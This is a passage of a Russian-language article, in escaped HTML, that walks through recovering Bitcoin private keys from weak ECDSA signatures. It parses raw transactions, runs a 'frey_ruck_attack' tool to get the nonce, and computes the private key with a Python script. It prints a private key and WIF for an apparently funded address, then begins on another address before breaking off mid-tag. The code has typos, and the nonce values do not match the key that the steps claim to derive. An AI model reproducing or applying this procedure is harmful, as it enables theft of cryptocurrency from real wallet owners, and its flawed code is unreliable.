\u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913 Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2a1\/e0b\/3d4\/2a1e0b3d49e543777be6dd30c9746ea6.png\" alt=\"\" title=\"\" width=\"759\" height=\"271\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2a1\/e0b\/3d4\/2a1e0b3d49e543777be6dd30c9746ea6.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5 WIF:  KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q HEX:  4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a16\/951\/59f\/a1695159ff960b12b3bb2ff62a4a2bcf.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a16\/951\/59f\/a1695159ff960b12b3bb2ff62a4a2bcf.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/faa\/cdb\/5d6\/faacdb5d624713b81e14768410e2df88.png\" alt=\"www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" title=\"www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" width=\"1024\" height=\"449\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/faa\/cdb\/5d6\/faacdb5d624713b81e14768410e2df88.png\"\/><figcaption>www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/figcaption><\/figure>\n<p><code>BALANCE: $ 677.14<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0442\u0435\u0440\u0438 \u043c\u043e\u043d\u0435\u0442 BTC \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432<code>\u00a0TXID:<\/code>\u00a0<a href=\"https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393\" rel=\"noopener noreferrer nofollow\"><strong><u>e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393<\/u><\/strong><\/a>\u00a0\u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430<\/p>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d3c\/b37\/f8f\/d3cb37f8f820317a9fe8de55582baef6.png\" alt=\"\" title=\"\" width=\"1024\" height=\"95\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d3c\/b37\/f8f\/d3cb37f8f820317a9fe8de55582baef6.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6bb\/ba2\/bcb\/6bbba2bcb6220dbd421fab43dd43a219.png\" alt=\"\" title=\"\" width=\"1024\" height=\"252\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6bb\/ba2\/bcb\/6bbba2bcb6220dbd421fab43dd43a219.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975 Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/918\/423\/9ea\/9184239ea35d27817557fabe47e00ec6.png\" alt=\"\" title=\"\" width=\"1024\" height=\"310\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/918\/423\/9ea\/9184239ea35d27817557fabe47e00ec6.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/1fd\/18a\/b06\/1fd18ab06014cbd9e1e88bb411571273.png\" alt=\"\" title=\"\" width=\"1024\" height=\"453\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/1fd\/18a\/b06\/1fd18ab06014cbd9e1e88bb411571273.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154 RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5a4\/312\/361\/5a43123618f1e12220b65dc89f55827c.png\" alt=\"\" title=\"\" width=\"1024\" height=\"94\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5a4\/312\/361\/5a43123618f1e12220b65dc89f55827c.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975 Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 point2gen  =   (0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154 R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975 Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/1f2\/005\/53d\/1f200553d0577f0a5e9e092d48fa8765.png\" alt=\"\" title=\"\" width=\"766\" height=\"297\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/1f2\/005\/53d\/1f200553d0577f0a5e9e092d48fa8765.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5 WIF:  KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q HEX:  4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3d0\/dd7\/b6e\/3d0dd7b6e2107e4d81702326c5ba3d88.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3d0\/dd7\/b6e\/3d0dd7b6e2107e4d81702326c5ba3d88.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d57\/761\/c57\/d57761c57ae30a9a1c1c47958d1b5026.png\" alt=\"www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" title=\"www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5\" width=\"1024\" height=\"449\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d57\/761\/c57\/d57761c57ae30a9a1c1c47958d1b5026.png\"\/><figcaption>www.blockchain.com\/btc\/address\/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5<\/figcaption><\/figure>\n<p><code>BALANCE: $ 677.14<\/code><\/p>\n<hr\/>\n<p><code>\u21163<\/code><\/p>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0435:<\/p>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2\" rel=\"noopener noreferrer nofollow\"><strong><u>16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b02\/bfa\/771\/b02bfa7712e0e2e1c44a4af748df9fca.png\" alt=\"\" title=\"\" width=\"1006\" height=\"177\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b02\/bfa\/771\/b02bfa7712e0e2e1c44a4af748df9fca.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" 